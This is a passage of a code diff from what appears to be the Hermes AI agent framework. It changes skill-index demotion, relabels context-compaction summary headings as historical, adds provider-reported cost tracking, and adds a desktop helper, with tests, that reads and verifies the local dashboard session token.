fully pruned these categories from the index, which caused silent
|
||||
capability loss in a real workflow: agent-created skills are the
|
||||
model's accumulated project memory (server-ops runbooks, learned
|
||||
pitfalls, …), and models do not reliably reach for ``skills_list`` to
|
||||
rediscover what the index stopped showing them. Names-only keeps every
|
||||
skill loadable on recall while still cutting the description noise.
|
||||
"""
|
||||
if not self.is_coding or self.config_mode != "focus":
|
||||
return frozenset()
|
||||
return frozenset(self.profile.compact_skill_categories)
|
||||
|
||||
|
||||
def resolve_runtime_mode(
|
||||
@@ -512,20 +544,23 @@ def coding_system_blocks(
|
||||
).system_blocks()
|
||||
|
||||
|
||||
def coding_hidden_skill_categories(
|
||||
def coding_compact_skill_categories(
|
||||
*,
|
||||
platform: Optional[str] = None,
|
||||
cwd: Optional[str | Path] = None,
|
||||
config: Optional[dict[str, Any]] = None,
|
||||
) -> frozenset[str]:
|
||||
"""Skill categories the active posture prunes from the prompt's skill index.
|
||||
"""Skill categories the active posture demotes to names-only in the index.
|
||||
|
||||
Empty outside the coding posture. Discovery-only: hidden skills remain
|
||||
loadable via ``skills_list`` / ``skill_view``.
|
||||
Empty outside the coding posture and outside the opt-in ``focus`` mode —
|
||||
the default posture never touches the skill index. Under ``focus``,
|
||||
demoted — never hidden: every skill name stays in the index and remains
|
||||
loadable via ``skill_view`` / ``skills_list``; only descriptions are
|
||||
dropped.
|
||||
"""
|
||||
return resolve_runtime_mode(
|
||||
platform=platform, cwd=cwd, config=config
|
||||
).hidden_skill_categories()
|
||||
).compact_skill_categories()
|
||||
|
||||
|
||||
def _enabled_mcp_servers(config: Optional[dict[str, Any]]) -> list[str]:
|
||||
@@ -680,10 +715,13 @@ def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
|
||||
lines.append("- Branch: (detached HEAD)")
|
||||
|
||||
# Linked worktree: the per-worktree git dir differs from the shared common dir.
|
||||
# We surface the fact that it's a worktree (so the model knows branches/stashes
|
||||
# are shared state) but deliberately do NOT expose the primary tree path —
|
||||
# giving the model a second absolute path causes it to sometimes run commands
|
||||
# in the wrong directory.
|
||||
git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
|
||||
if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
|
||||
main_tree = Path(common_dir).resolve().parent
|
||||
lines.append(f"- Worktree: linked (primary tree at {main_tree})")
|
||||
lines.append("- Worktree: linked (git state shared with primary tree)")
|
||||
|
||||
dirty = [f"{n} {label}" for label, n in (
|
||||
("staged", counts["staged"]), ("modified", counts["modified"]),
|
||||
|
||||
@@ -7,7 +7,7 @@ protecting head and tail context.
|
||||
Improvements over v2:
|
||||
- Structured summary template with Resolved/Pending question tracking
|
||||
- Filter-safe summarizer preamble that treats prior turns as source material
|
||||
- "Remaining Work" replaces "Next Steps" to avoid reading as active instructions
|
||||
- Historical (reference-only) section headings replace "Next Steps"/"Remaining Work" to avoid reading as active instructions
|
||||
- Clear separator when summary merges into tail message
|
||||
- Iterative summary updates (preserves info across multiple compactions)
|
||||
- Token-budget tail protection instead of fixed message count
|
||||
@@ -34,7 +34,50 @@ from agent.redact import redact_sensitive_text
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HISTORICAL_TASK_HEADING = "## Historical Task Snapshot"
|
||||
HISTORICAL_IN_PROGRESS_HEADING = "## Historical In-Progress State"
|
||||
HISTORICAL_PENDING_ASKS_HEADING = "## Historical Pending User Asks"
|
||||
HISTORICAL_REMAINING_WORK_HEADING = "## Historical Remaining Work"
|
||||
|
||||
|
||||
SUMMARY_PREFIX = (
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
"Do NOT answer questions or fulfill requests mentioned in this summary; "
|
||||
"they were already addressed. "
|
||||
"Respond ONLY to the latest user message that appears AFTER this "
|
||||
"summary — that message is the single source of truth for what to do "
|
||||
"right now. "
|
||||
"Topic overlap with the summary does NOT mean you should resume its "
|
||||
"task: even on similar topics, the latest user message WINS. Treat ONLY "
|
||||
"the latest message as the active task and discard stale items from "
|
||||
f"'{HISTORICAL_TASK_HEADING}' / '{HISTORICAL_IN_PROGRESS_HEADING}' / "
|
||||
f"'{HISTORICAL_PENDING_ASKS_HEADING}' / "
|
||||
f"'{HISTORICAL_REMAINING_WORK_HEADING}' entirely — do not 'wrap up' or "
|
||||
"'finish' work described there unless the latest message explicitly "
|
||||
"asks for it. "
|
||||
"Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
|
||||
"back', 'just verify', 'don't do that anymore', 'never mind', a new "
|
||||
"topic) must immediately end any in-flight work described in the "
|
||||
"summary; do not re-surface it in later turns. "
|
||||
"IMPORTANT: Your persistent memory (MEMORY.md, USER.md) in the system "
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
# Carveout era (#41607/#38364/#42812): "consistent → use as background"
|
||||
# licensed stale-task resumption on topic overlap.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
@@ -57,17 +100,7 @@ SUMMARY_PREFIX = (
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
"described here — avoid repeating it:",
|
||||
# Pre-#35344: contained the self-contradicting "resume exactly" directive.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
@@ -1155,7 +1188,7 @@ class ContextCompressor(ContextEngine):
|
||||
)
|
||||
|
||||
reason_text = f" Summary failure reason: {reason}." if reason else ""
|
||||
body = f"""## Active Task
|
||||
body = f"""{HISTORICAL_TASK_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Goal
|
||||
@@ -1172,7 +1205,7 @@ Recovered from a deterministic fallback because the LLM context summarizer was u
|
||||
## Active State
|
||||
Unknown from deterministic fallback. Inspect current repository/session state if needed.
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Blocked
|
||||
@@ -1184,13 +1217,13 @@ None recoverable from deterministic fallback.
|
||||
## Resolved Questions
|
||||
None recoverable from deterministic fallback.
|
||||
|
||||
## Pending User Asks
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Relevant Files
|
||||
{_bullets(relevant_files, limit=12)}
|
||||
|
||||
## Remaining Work
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
Continue from the most recent unfulfilled user ask and protected tail messages. Verify state with tools before making claims.
|
||||
|
||||
## Last Dropped Turns
|
||||
@@ -1312,7 +1345,7 @@ Summary generation was unavailable, so this is a best-effort deterministic fallb
|
||||
_temporal_anchoring_rule = ""
|
||||
|
||||
# Shared structured template (used by both paths).
|
||||
_template_sections = f"""## Active Task
|
||||
_template_sections = f"""{HISTORICAL_TASK_HEADING}
|
||||
[THE SINGLE MOST IMPORTANT FIELD. Capture the user's most recent unfulfilled
|
||||
input verbatim — the exact words they used. This includes:
|
||||
- Explicit task assignments ("refactor the auth module")
|
||||
@@ -1359,7 +1392,7 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
- Any running processes or servers
|
||||
- Environment details that matter]
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
[Work currently underway — what was being done when compaction fired]
|
||||
|
||||
## Blocked
|
||||
@@ -1371,14 +1404,14 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
## Resolved Questions
|
||||
[Questions the user asked that were ALREADY answered — include the answer so it is not repeated]
|
||||
|
||||
## Pending User Asks
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. If none, write "None."]
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. These are STALE — they were from the compacted turns. Write them here for reference only. The agent must NOT act on them unless the latest user message explicitly requests it. If none, write "None."]
|
||||
|
||||
## Relevant Files
|
||||
[Files read, modified, or created — with brief note on each]
|
||||
|
||||
## Remaining Work
|
||||
[What remains to be done — framed as context, not instructions]
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
[What remains to be done — framed as STALE context for reference only. The agent must NOT resume this work unless the latest user message explicitly asks for it.]
|
||||
|
||||
## Critical Context
|
||||
[Any specific values, error messages, configuration details, or data that would be lost without explicit preservation. NEVER include API keys, tokens, passwords, or credentials — write [REDACTED] instead.]
|
||||
@@ -1753,7 +1786,7 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
Context compressor bug (#10896): ``_align_boundary_backward`` can pull
|
||||
``cut_idx`` past a user message when it tries to keep tool_call/result
|
||||
groups together. If the last user message ends up in the *compressed*
|
||||
middle region the LLM summariser writes it into "Pending User Asks",
|
||||
middle region the LLM summariser writes it into "Historical Pending User Asks",
|
||||
but ``SUMMARY_PREFIX`` tells the next model to respond only to user
|
||||
messages *after* the summary — so the task effectively disappears from
|
||||
the active context, causing the agent to stall, repeat completed work,
|
||||
|
||||
@@ -57,7 +57,11 @@ from agent.process_bootstrap import _install_safe_stdio
|
||||
from agent.prompt_caching import apply_anthropic_cache_control
|
||||
from agent.retry_utils import jittered_backoff
|
||||
from agent.trajectory import has_incomplete_scratchpad
|
||||
from agent.usage_pricing import estimate_usage_cost, normalize_usage
|
||||
from agent.usage_pricing import (
|
||||
estimate_usage_cost,
|
||||
extract_provider_cost_usd,
|
||||
normalize_usage,
|
||||
)
|
||||
from hermes_constants import PARTIAL_STREAM_STUB_ID
|
||||
from hermes_logging import set_session_context
|
||||
from tools.skill_provenance import set_current_write_origin
|
||||
@@ -1633,6 +1637,37 @@ def run_conversation(
|
||||
agent.session_cost_status = cost_result.status
|
||||
agent.session_cost_source = cost_result.source
|
||||
|
||||
# ── Real provider-REPORTED cost (never estimated) ──
|
||||
# OpenRouter usage accounting returns ``usage.cost`` on the
|
||||
# response when the request carries usage:{include:true}
|
||||
# (added on OpenRouter routes). When the provider reports
|
||||
# nothing, this stays None — absent, NOT zero — so cost
|
||||
# displays hide instead of showing a fabricated $0.00.
|
||||
reported_cost_usd = extract_provider_cost_usd(response.usage)
|
||||
if reported_cost_usd is not None:
|
||||
_prev_actual = getattr(agent, "session_actual_cost_usd", None)
|
||||
agent.session_actual_cost_usd = (_prev_actual or 0.0) + reported_cost_usd
|
||||
agent.session_cost_status = "actual"
|
||||
agent.session_cost_source = "provider_cost_api"
|
||||
|
||||
# Per-model session breakdown for /usage — counts are always
|
||||
# real; cost_usd only accumulates provider-reported values
|
||||
# and stays None when the provider reports nothing.
|
||||
_model_usage = getattr(agent, "session_model_usage", None)
|
||||
if _model_usage is None:
|
||||
_model_usage = agent.session_model_usage = {}
|
||||
_mrow = _model_usage.setdefault(agent.model, {
|
||||
"calls": 0, "input": 0, "output": 0,
|
||||
"cache_read": 0, "cache_write": 0, "cost_usd": None,
|
||||
})
|
||||
_mrow["calls"] += 1
|
||||
_mrow["input"] += canonical_usage.input_tokens
|
||||
_mrow["output"] += canonical_usage.output_tokens
|
||||
_mrow["cache_read"] += canonical_usage.cache_read_tokens
|
||||
_mrow["cache_write"] += canonical_usage.cache_write_tokens
|
||||
if reported_cost_usd is not None:
|
||||
_mrow["cost_usd"] = (_mrow["cost_usd"] or 0.0) + reported_cost_usd
|
||||
|
||||
# Persist token counts to session DB for /insights.
|
||||
# Do this for every platform with a session_id so non-CLI
|
||||
# sessions (gateway, cron, delegated runs) cannot lose
|
||||
@@ -1659,8 +1694,14 @@ def run_conversation(
|
||||
reasoning_tokens=canonical_usage.reasoning_tokens,
|
||||
estimated_cost_usd=float(cost_result.amount_usd)
|
||||
if cost_result.amount_usd is not None else None,
|
||||
cost_status=cost_result.status,
|
||||
cost_source=cost_result.source,
|
||||
# Provider-reported per-call cost delta. NULL
|
||||
# (not 0) when the provider reported nothing —
|
||||
# the SQL CASE keeps actual_cost_usd untouched.
|
||||
actual_cost_usd=reported_cost_usd,
|
||||
cost_status="actual"
|
||||
if reported_cost_usd is not None else cost_result.status,
|
||||
cost_source="provider_cost_api"
|
||||
if reported_cost_usd is not None else cost_result.source,
|
||||
billing_provider=agent.provider,
|
||||
billing_base_url=agent.base_url,
|
||||
billing_mode="subscription_included"
|
||||
|
||||
@@ -1101,7 +1101,7 @@ def _skill_should_show(
|
||||
def build_skills_system_prompt(
|
||||
available_tools: "set[str] | None" = None,
|
||||
available_toolsets: "set[str] | None" = None,
|
||||
hidden_categories: "frozenset[str] | None" = None,
|
||||
compact_categories: "frozenset[str] | None" = None,
|
||||
) -> str:
|
||||
"""Build a compact skill index for the system prompt.
|
||||
|
||||
@@ -1117,11 +1117,11 @@ def build_skills_system_prompt(
|
||||
are read-only — they appear in the index but new skills are always created
|
||||
in the local dir. Local skills take precedence when names collide.
|
||||
|
||||
``hidden_categories`` (e.g. from the coding posture — see
|
||||
agent/coding_context.py) prunes whole categories from the rendered index.
|
||||
Discovery-only: the snapshot stores everything, ``skills_list`` /
|
||||
``skill_view`` still reach every skill, and a footer note tells the model
|
||||
the full catalog exists.
|
||||
``compact_categories`` (e.g. from the coding posture — see
|
||||
agent/coding_context.py) demotes whole categories to a names-only line in
|
||||
the rendered index. Nothing is ever hidden: every skill name stays
|
||||
visible and loadable via ``skill_view`` / ``skills_list``; only the
|
||||
descriptions are dropped, and a footer note explains the demotion.
|
||||
"""
|
||||
skills_dir = get_skills_dir()
|
||||
external_dirs = get_all_skills_dirs()[1:] # skip local (index 0)
|
||||
@@ -1146,7 +1146,7 @@ def build_skills_system_prompt(
|
||||
tuple(sorted(str(ts) for ts in (available_toolsets or set()))),
|
||||
_platform_hint,
|
||||
tuple(sorted(disabled)),
|
||||
tuple(sorted(hidden_categories or ())),
|
||||
tuple(sorted(compact_categories or ())),
|
||||
)
|
||||
with _SKILLS_PROMPT_CACHE_LOCK:
|
||||
cached = _SKILLS_PROMPT_CACHE.get(cache_key)
|
||||
@@ -1280,38 +1280,44 @@ def build_skills_system_prompt(
|
||||
except Exception as e:
|
||||
logger.debug("Could not read external skill description %s: %s", desc_file, e)
|
||||
|
||||
# Posture-driven category pruning (e.g. non-coding skills while pairing on
|
||||
# code). Match on the top-level category segment so nested categories
|
||||
# ("social-media/twitter") are pruned with their parent.
|
||||
# Posture-driven category demotion (e.g. non-coding skills while pairing
|
||||
# on code). Demoted categories stay in the index as a single names-only
|
||||
# line — descriptions are dropped to cut noise, but every skill name
|
||||
# remains visible so memory-anchored recall ("load <name>") keeps working.
|
||||
# NEVER remove entries entirely: agent-created skills are the model's
|
||||
# project memory, and models don't reach for skills_list to rediscover
|
||||
# what the index stops showing them. Match on the top-level category
|
||||
# segment so nested categories ("social-media/twitter") are demoted with
|
||||
# their parent.
|
||||
demoted = frozenset(
|
||||
cat for cat in skills_by_category
|
||||
if cat.split("/", 1)[0] in (compact_categories or frozenset())
|
||||
)
|
||||
|
||||
hidden_note = ""
|
||||
if hidden_categories:
|
||||
before = sum(len(v) for v in skills_by_category.values())
|
||||
skills_by_category = {
|
||||
cat: entries
|
||||
for cat, entries in skills_by_category.items()
|
||||
if cat.split("/", 1)[0] not in hidden_categories
|
||||
}
|
||||
pruned = before - sum(len(v) for v in skills_by_category.values())
|
||||
if pruned:
|
||||
hidden_note = (
|
||||
f"\n(Note: {pruned} skill(s) in categories unrelated to the "
|
||||
"current coding context are not listed here. The full catalog "
|
||||
"is available via skills_list if the user asks for something "
|
||||
"outside this list.)"
|
||||
)
|
||||
if demoted:
|
||||
hidden_note = (
|
||||
"\n(Categories marked [names only] are outside the current coding "
|
||||
"context, so their descriptions are omitted — the skills work "
|
||||
"normally and load with skill_view(name) as usual.)"
|
||||
)
|
||||
|
||||
if not skills_by_category:
|
||||
result = ""
|
||||
else:
|
||||
index_lines = []
|
||||
for category in sorted(skills_by_category.keys()):
|
||||
# Deduplicate and sort skills within each category
|
||||
seen = set()
|
||||
if category in demoted:
|
||||
names = sorted({name for name, _ in skills_by_category[category]})
|
||||
index_lines.append(f" {category} [names only]: {', '.join(names)}")
|
||||
continue
|
||||
cat_desc = category_descriptions.get(category, "")
|
||||
if cat_desc:
|
||||
index_lines.append(f" {category}: {cat_desc}")
|
||||
else:
|
||||
index_lines.append(f" {category}:")
|
||||
# Deduplicate and sort skills within each category
|
||||
seen = set()
|
||||
for name, desc in sorted(skills_by_category[category], key=lambda x: x[0]):
|
||||
if name in seen:
|
||||
continue
|
||||
|
||||
@@ -191,21 +191,23 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
|
||||
)
|
||||
if toolset
|
||||
}
|
||||
# Coding posture prunes non-coding skill categories from the index
|
||||
# (discovery-only — skills_list/skill_view still reach everything).
|
||||
_hidden_cats = frozenset()
|
||||
# Focus mode (opt-in) demotes non-coding skill categories to
|
||||
# names-only in the index (never hidden — skill_view/skills_list
|
||||
# reach everything, and every name stays visible for recall). The
|
||||
# default coding posture leaves the index untouched.
|
||||
_compact_cats = frozenset()
|
||||
try:
|
||||
from agent.coding_context import coding_hidden_skill_categories
|
||||
from agent.coding_context import coding_compact_skill_categories
|
||||
|
||||
_hidden_cats = coding_hidden_skill_categories(
|
||||
_compact_cats = coding_compact_skill_categories(
|
||||
platform=agent.platform, cwd=resolve_context_cwd()
|
||||
)
|
||||
except Exception:
|
||||
_hidden_cats = frozenset()
|
||||
_compact_cats = frozenset()
|
||||
skills_prompt = _r.build_skills_system_prompt(
|
||||
available_tools=agent.valid_tool_names,
|
||||
available_toolsets=avail_toolsets,
|
||||
hidden_categories=_hidden_cats or None,
|
||||
compact_categories=_compact_cats or None,
|
||||
)
|
||||
else:
|
||||
skills_prompt = ""
|
||||
|
||||
@@ -388,6 +388,13 @@ class ChatCompletionsTransport(ProviderTransport):
|
||||
if provider_prefs and is_openrouter:
|
||||
extra_body["provider"] = provider_prefs
|
||||
|
||||
# OpenRouter usage accounting — response `usage.cost` carries the REAL
|
||||
# charged cost (credits are 1:1 USD). Parity with the profile path in
|
||||
# plugins/model-providers/openrouter/__init__.py; this branch only runs
|
||||
# when the OpenRouter profile isn't loaded.
|
||||
if is_openrouter:
|
||||
extra_body["usage"] = {"include": True}
|
||||
|
||||
# Pareto Code router plugin — model-gated. Same shape as the
|
||||
# profile path in plugins/model-providers/openrouter/__init__.py;
|
||||
# this branch only runs when the OpenRouter profile isn't loaded.
|
||||
|
||||
@@ -852,6 +852,73 @@ def estimate_usage_cost(
|
||||
)
|
||||
|
||||
|
||||
def _finite_nonneg_number(value: Any) -> Optional[float]:
|
||||
"""Return ``value`` as a float when it is a real, finite, non-negative
|
||||
number (int/float, not bool); otherwise None."""
|
||||
if isinstance(value, bool) or not isinstance(value, (int, float)):
|
||||
return None
|
||||
try:
|
||||
f = float(value)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
if f != f or f in (float("inf"), float("-inf")) or f < 0:
|
||||
return None
|
||||
return f
|
||||
|
||||
|
||||
def extract_provider_cost_usd(response_usage: Any) -> Optional[float]:
|
||||
"""Provider-REPORTED cost (USD) from a response ``usage`` object, or None.
|
||||
|
||||
Reads the ``usage.cost`` field that OpenRouter's usage accounting returns
|
||||
(``usage: {"include": true}`` request param; OpenRouter credits are 1:1
|
||||
USD). OpenRouter-compatible aggregators use the same field. This NEVER
|
||||
estimates: when the provider reports nothing, the result is None — callers
|
||||
must treat None as "no cost data", not zero. A reported ``0`` is a real
|
||||
zero (e.g. free-tier models) and is returned as ``0.0``.
|
||||
"""
|
||||
if response_usage is None:
|
||||
return None
|
||||
cost = getattr(response_usage, "cost", None)
|
||||
if cost is None and isinstance(response_usage, dict):
|
||||
cost = response_usage.get("cost")
|
||||
return _finite_nonneg_number(cost)
|
||||
|
||||
|
||||
def real_session_cost_usd(agent: Any) -> Optional[float]:
|
||||
"""Session-cumulative provider-REPORTED cost in USD, or None.
|
||||
|
||||
Combines the two real sources Hermes has — no estimation, ever:
|
||||
- ``agent.session_actual_cost_usd``: per-response ``usage.cost``
|
||||
accumulator (OpenRouter usage accounting).
|
||||
- Nous ``x-nous-credits-*`` header delta via
|
||||
``agent.get_credits_spent_micros()`` (account-level spend since the
|
||||
session first saw a header; clamped at 0 so a mid-session top-up
|
||||
doesn't render a negative cost).
|
||||
|
||||
Returns None when neither source has reported anything — callers must
|
||||
hide their cost display in that case rather than showing $0.00.
|
||||
"""
|
||||
total: Optional[float] = None
|
||||
|
||||
actual = _finite_nonneg_number(getattr(agent, "session_actual_cost_usd", None))
|
||||
if actual is not None:
|
||||
total = actual
|
||||
|
||||
try:
|
||||
spent_micros = agent.get_credits_spent_micros()
|
||||
except Exception:
|
||||
spent_micros = None
|
||||
if spent_micros is not None:
|
||||
try:
|
||||
spent_usd = max(0, int(spent_micros)) / 1_000_000
|
||||
except (TypeError, ValueError):
|
||||
spent_usd = None
|
||||
if spent_usd is not None:
|
||||
total = (total or 0.0) + spent_usd
|
||||
|
||||
return total
|
||||
|
||||
|
||||
def has_known_pricing(
|
||||
model_name: str,
|
||||
provider: Optional[str] = None,
|
||||
|
||||
99
apps/desktop/electron/dashboard-token.cjs
Normal file
99
apps/desktop/electron/dashboard-token.cjs
Normal file
@@ -0,0 +1,99 @@
|
||||
/**
|
||||
* Helpers for local dashboard session-token discovery.
|
||||
*
|
||||
* The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
|
||||
* spawns the local dashboard, but the dashboard is the source of truth for the
|
||||
* token it actually serves to the renderer. If those drift, HTTP readiness
|
||||
* probes still pass while /api/ws rejects the renderer's token.
|
||||
*/
|
||||
|
||||
const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
|
||||
|
||||
async function fetchPublicText(url, options = {}) {
|
||||
const { protocol } = new URL(url)
|
||||
if (protocol !== 'http:' && protocol !== 'https:') {
|
||||
throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
|
||||
}
|
||||
|
||||
const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
|
||||
if (error.name === 'TimeoutError') {
|
||||
throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
|
||||
}
|
||||
throw error
|
||||
})
|
||||
const text = await res.text()
|
||||
|
||||
if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
|
||||
|
||||
return text
|
||||
}
|
||||
|
||||
function extractInjectedDashboardToken(html) {
|
||||
const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
|
||||
if (!match) return null
|
||||
try {
|
||||
return JSON.parse(match[1])
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function dashboardIndexUrl(baseUrl) {
|
||||
return `${String(baseUrl || '').replace(/\/+$/, '')}/`
|
||||
}
|
||||
|
||||
async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
|
||||
const fetchText = options.fetchText || fetchPublicText
|
||||
const html = await fetchText(dashboardIndexUrl(baseUrl), {
|
||||
timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
})
|
||||
const servedToken = extractInjectedDashboardToken(html)
|
||||
|
||||
if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
|
||||
options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
|
||||
}
|
||||
|
||||
return servedToken || fallbackToken
|
||||
}
|
||||
|
||||
/**
|
||||
* A served token that differs from our spawn token while our child is DEAD
|
||||
* came from a process we did not spawn (orphan/port squatter that satisfied
|
||||
* the public /api/status readiness probe). With a live child the mismatch is
|
||||
* benign: our own backend regenerated the token because the env pin did not
|
||||
* survive the spawn.
|
||||
*/
|
||||
function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
|
||||
return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the token the backend actually serves, adopting benign drift and
|
||||
* failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
|
||||
* sampled after the fetch, not before.
|
||||
*/
|
||||
async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
|
||||
const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
|
||||
options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
|
||||
return spawnToken
|
||||
})
|
||||
|
||||
if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
|
||||
throw new Error(
|
||||
`${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
|
||||
)
|
||||
}
|
||||
|
||||
return servedToken
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
}
|
||||
142
apps/desktop/electron/dashboard-token.test.cjs
Normal file
142
apps/desktop/electron/dashboard-token.test.cjs
Normal file
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Tests for electron/dashboard-token.cjs.
|
||||
*
|
||||
* Run with: node --test electron/dashboard-token.test.cjs
|
||||
* (Wired into npm test:desktop:platforms in package.json.)
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const {
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
} = require('./dashboard-token.cjs')
|
||||
|
||||
test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served-token')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken handles escaped token strings', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
|
||||
assert.equal(extractInjectedDashboardToken('<html></html>'), null)
|
||||
assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
|
||||
})
|
||||
|
||||
test('dashboardIndexUrl preserves dashboard path prefixes', () => {
|
||||
assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
|
||||
assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
|
||||
const logs = []
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async url => {
|
||||
assert.equal(url, 'http://127.0.0.1:9120/')
|
||||
return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /served a different session token/)
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => '<html></html>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when no served token is present')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
|
||||
